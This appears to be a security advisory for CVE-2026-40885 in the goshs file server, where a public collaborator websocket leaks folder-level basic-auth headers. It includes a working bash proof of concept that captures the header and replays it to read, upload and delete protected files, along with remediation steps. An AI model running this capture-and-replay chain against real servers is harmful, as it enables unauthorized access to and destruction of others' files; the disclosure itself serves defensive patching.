CVE-2026-40885
HIGHDescriptionNVD
Summary
goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on v2.0.0-beta.5, the latest supported release as of April 10, 2026.
Details
The main web UI and collaborator websocket stay public when goshs is started without global -b user:pass authentication:
httpserver/server.go:72-85only installsBasicAuthMiddleware()when a global username or password is configured
The vulnerable request is logged before .goshs authorization is enforced:
httpserver/handler.go:277-279callsemitCollabEvent()andlogger.LogRequest()before the protected file is passed into ACL enforcementhttpserver/handler.go:291-309performs folder-level.goshsauthentication later inapplyCustomAuth()
The collaborator pipeline copies and broadcasts every request header:
httpserver/collaborator.go:22-46flattens all request headers, includingAuthorization, into the websocket event and sends them to the hubws/hub.go:77-84fans the event out live to all connected websocket clientsws/hub.go:116-122replays up to 200 prior HTTP events to newly connected websocket clients via catchup
The frontend also makes the leak easier to understand by decoding authorization values:
assets/js/main.js:627-645formats and decodes theAuthorizationheader for display in the collaborator panel
In practice, a victim request such as:
GET /ACLAuth/secret.txt
Authorization: Basic YWRtaW46YWRtaW4=is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.
PoC
Manual verification commands used:
Terminal 1
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./
rm -rf /tmp/goshs_collab_root
mkdir -p /tmp/goshs_collab_root/ACLAuth
cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs
printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt
/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096Terminal 2
node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODETerminal 3
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'Two terminal commands I ran during local validation:
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txtObserved results from manual verification:
- the anonymous request returned
401 - the victim request returned
very secret - the replayed leaked header also returned
very secret - the replayed
PUTreturned200 - the replayed
?deletereturned200 - the public websocket showed
Authorization":"Basic YWRtaW46YWRtaW4="
PoC Video 1:
https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752
Single-script verification:
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4'Observed script result:
Captured header: Basic YWRtaW46YWRtaW4=Anonymous GET status: 401Replayed-header GET body: very secretReplayed-header PUT status: 200Replayed-header delete status: 200[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree
PoC Video 2:
https://github.com/user-attachments/assets/b25648a9-b96c-46b3-9ee4-0ae4cc1c3472
gosh_poc4 script content:
#!/usr/bin/env bash
set -euo pipefail
REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth'
BIN='/tmp/goshs_beta5_collab_leak'
PORT='18096'
WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
WS_LOG="$WORKDIR/ws.log"
GOSHS_PID=""
WATCH_PID=""
cleanup() {
if [[ -n "${WATCH_PID:-}" ]]; then
kill "${WATCH_PID}" >/dev/null 2>&1 || true
wait "${WATCH_PID}" 2>/dev/null || true
fi
if [[ -n "${GOSHS_PID:-}" ]]; then
kill "${GOSHS_PID}" >/dev/null 2>&1 || true
wait "${GOSHS_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
mkdir -p "${ROOT}/ACLAuth"
cp "${FIXTURE}" "${ROOT}/ACLAuth/.goshs"
printf 'very secret\n' > "${ROOT}/ACLAuth/secret.txt"
echo "[1/6] Building goshs beta.5"
(cd "${REPO}" && go build -o "${BIN}" ./)
echo "[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}"
"${BIN}" -d "${ROOT}" -p "${PORT}" >"${WORKDIR}/goshs.log" 2>&1 &
GOSHS_PID=$!
for _ in $(seq 1 40); do
if curl -s "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
break
fi
sleep 0.25
done
echo "[3/6] Opening an unauthenticated websocket observer"
node - <<'NODE' >"${WS_LOG}" &
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onopen = () => console.log('OPEN');
ws.onmessage = (ev) => {
const msg = ev.data.toString();
console.log(msg);
if (msg.includes('Authorization')) process.exit(0);
};
setTimeout(() => process.exit(0), 10000);
NODE
WATCH_PID=$!
echo "[4/6] Simulating a victim request with folder credentials"
curl -s -u admin:admin "http://127.0.0.1:${PORT}/ACLAuth/secret.txt" >/dev/null
wait "${WATCH_PID}" || true
WATCH_PID=""
LEAKED_HEADER="$(python3 - "${WS_LOG}" <<'PY'
import pathlib
import re
import sys
text = pathlib.Path(sys.argv[1]).read_text()
m = re.search(r'Basic [A-Za-z0-9+/=]+', text)
print(m.group(0) if m else '')
PY
)"
if [[ -z "${LEAKED_HEADER}" ]]; then
echo "[ERROR] No leaked Authorization header was captured." >&2
echo "[DEBUG] Websocket output:" >&2
cat "${WS_LOG}" >&2
exit 1
fi
echo "[5/6] Replaying the leaked header as the attacker"
UNAUTH_CODE="$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")"
READ_BACK="$(curl -s -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")"
PUT_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" -X PUT --data-binary 'owned' "http://127.0.0.1:${PORT}/ACLAuth/pwn.txt")"
DELETE_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete")"
if [[ "${UNAUTH_CODE}" != "401" ]]; then
echo "[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}." >&2
exit 1
fi
if [[ "${READ_BACK}" != "very secret" ]]; then
echo "[ERROR] Replayed header did not unlock the protected file." >&2
exit 1
fi
if [[ "${PUT_CODE}" != "200" ]]; then
echo "[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}." >&2
exit 1
fi
if [[ "${DELETE_CODE}" != "200" ]]; then
echo "[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}." >&2
exit 1
fi
if [[ ! -f "${ROOT}/ACLAuth/pwn.txt" ]]; then
echo "[ERROR] PUT did not create pwn.txt." >&2
exit 1
fi
if [[ -f "${ROOT}/ACLAuth/secret.txt" ]]; then
echo "[ERROR] Delete did not remove secret.txt." >&2
exit 1
fi
echo "[6/6] Results"
echo "Captured header: ${LEAKED_HEADER}"
echo "Anonymous GET status: ${UNAUTH_CODE}"
echo "Replayed-header GET body: ${READ_BACK}"
echo "Replayed-header PUT status: ${PUT_CODE}"
echo "Replayed-header delete status: ${DELETE_CODE}"
echo "[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree"Impact
This issue is a sensitive information disclosure that becomes an authentication bypass against .goshs-protected content. Any unauthenticated observer who can access the public collaborator websocket can steal folder-level basic-auth credentials from a victim request and immediately reuse them to read, upload, overwrite, or delete files inside the protected subtree. Deployments that rely on public goshs access with selective .goshs-protected subfolders are directly exposed.
Remediation
Suggested fixes:
- Never store or broadcast sensitive headers such as
Authorization,Cookie, orProxy-Authorizationin collaborator events. - Move collaborator logging until after access-control checks, and log only minimal metadata instead of raw headers and bodies.
- Protect the collaborator websocket and panel with the same or stronger authentication boundary as the resources being observed.
AnalysisAI
goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. …
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External POC / Exploit Code
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GHSA-7h3j-592v-jcrp